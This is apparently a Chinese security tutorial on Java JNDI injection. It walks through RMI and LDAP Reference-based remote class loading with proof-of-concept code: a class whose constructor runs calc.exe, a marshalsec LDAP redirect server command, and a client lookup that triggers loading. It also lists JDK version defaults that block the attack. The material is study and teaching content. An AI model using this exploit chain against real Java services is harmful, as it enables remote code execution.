javaweb-JNDI注入
0x01什么叫JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。 JNDI是一个API,允许客户端通过name发现和查找数据和对象。
在 Java 中为了能够更方便的管理、访问和调用远程的资源对象,常常会使用 LDAP 和 RMI 等服务来将资源对象或方法绑定在固定的远程服务端,供应用程序来进行访问和调用。为了更好的理解整个 JNDI 注入产生的原因,下面用实际代码来说明一下常规 RMI 访问和使用 JNDI 访问 RMI 的区别。
0x02JNDI-RMI
首先一个对象方法要被远程应用所调用需要其extends与java.rmi.Remote接口,并且需要抛出RemoteException异常,而远程对象必须实现java.rmi.server.UniCastRemteObject类。
首先创建一个继承Rmote的接口Print
再创建RemoteClass类继承UniCastRemoteObject并且包含Print接口
最后用RMI绑定实列对象,并且使用JNDI去获取并调用方法Printworld
LocalRMI.java
package Print; import java.rmi.registry.LocateRegistry; import javax.naming.Context; import javax.naming.InitialContext; import java.util.Hashtable; import Print.RemoteClasss; public class LocaRmi { final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory"; final static String PROVIDER_URL = "rmi://localhost:8080"; public static void main(String[] args) throws Exception { //注册RMI服务器端口 LocateRegistry.createRegistry(8080); Hashtable<String, Object> env = new Hashtable< >(); env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY); env.put(Context.PROVIDER_URL, PROVIDER_URL); Context ctx = new InitialContext(env); RemoteClasss RemoteClass = new RemoteClasss(); ctx.bind("exp",RemoteClass); System.out.println("Jndi服务已绑定..."); } }
ClentRMI.java
package Print; import javax.naming.Context; import javax.naming.InitialContext; import java.util.Hashtable; public class ClinetRmi { final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory"; final static String PROVIDER_URL = "rmi://localhost:8080"; public static void main(String[] args) throws Exception { Hashtable<String, Object> env = new Hashtable<>(); env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY); env.put(Context.PROVIDER_URL, PROVIDER_URL); Context ctx = new InitialContext(env); Print Remotec = (Print) ctx.lookup("exp"); for (int i = 0; i < 5; i++) { System.out.println(Remotec.Printworld("ohohohohohohohoh")); } System.out.println("-------------------"); } }
这里是通过JNDI获取远程函数Print并且传入string,再远程执行后返回结果到Client
RMI 中动态加载字节代码
使用RMI Remote Object的方式在RMI那一节我们能够看到,利用限制很大。但是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。 如果远程获取到RMI服务上的对象为 Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。 Reference中几个比较关键的属性: className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载 classFactory - 远程的工厂类 classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议 使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。
当有客户端通过lookup("refObj")
获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,
客户端会首先去本地的CLASSPATH
去寻找被标识为refClassName
的类,
如果本地未找到,则会去请求http://example.com:12345/FactoryClassName.class
加载工厂类。
如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
RemoteClass.java
packge Print; import java.lang.Runtime; import java.lang.Process; public class EvilObject { public EvilObject() throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc.exe"}; Process pc = rt.exec(commands); pc.waitFor(); } }
localRMI.java
package Print; import java.rmi.registry.LocateRegistry; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.Reference; import java.util.Hashtable; import Print.RemoteClasss; import com.sun.jndi.rmi.registry.ReferenceWrapper; public class LocaRmi { final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory"; final static String PROVIDER_URL = "rmi://localhost:8080"; public static void main(String[] args) throws Exception { /* //注册RMI服务器端口 */ LocateRegistry.createRegistry(8080); Hashtable<String, Object> env = new Hashtable< >(); env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY); env.put(Context.PROVIDER_URL, PROVIDER_URL); Context ctx = new InitialContext(env); Reference refObj = new Reference("RemoteClasss", "Print.RemoteClasss", "http://127.0.0.1:80/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); /* RemoteClasss RemoteClass = new RemoteClasss();*/ ctx.bind("exp",refObjWrapper); System.out.println("Jndi服务已绑定..."); } }
ClientRmi.java
package Print;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class ClinetRmi {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8080/exp");
}
}
参考
0X03JNDI-LDAP 测试环境8u211
JNDI Reference配合LDAP 在上文中说过,JNDI一般配合RMI、LDAP等协议进行使用,所以上文中有RMI,自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务,LDAP服务默认端口号为1389。 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389 BASH JNDI注入的JDK版本限制 由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。 但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的限制。 JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false 一张图来展示JNDI注入的利用方式与JDK版本的关系:
这里我们为了简便使用集成的marshalsec
C:\Users\java\Desktop>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi .LDAPRefServer http://127.0.0.1:8080/#Exploit Listening on 0.0.0.0:1389 Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl oit.class Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl oit.class
POC.java
package Ldap; import javax.naming.Context; import javax.naming.InitialContext; public class Poc { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); String uri = "ldap://127.0.0.1:1389/Exploit"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
Exploit.java
public class Exploit { public Exploit(){ try { java.lang.Runtime.getRuntime().exec( new String[]{"calc.exe"}); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
https://blog.csdn.net/zhangzeyuaaa/article/details/53385028 https://patrilic.top/2020/03/15/JNDI%E6%B3%A8%E5%85%A5/#0x01-JNDI-RMI https://paper.seebug.org/1091/
https://paper.seebug.org/1091/#jndildap
https://y4er.com/post/attack-java-jndi-rmi-ldap-2/ https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/#1-JNDI-%E8%8E%B7%E5%8F%96%E5%B9%B6%E8%B0%83%E7%94%A8%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95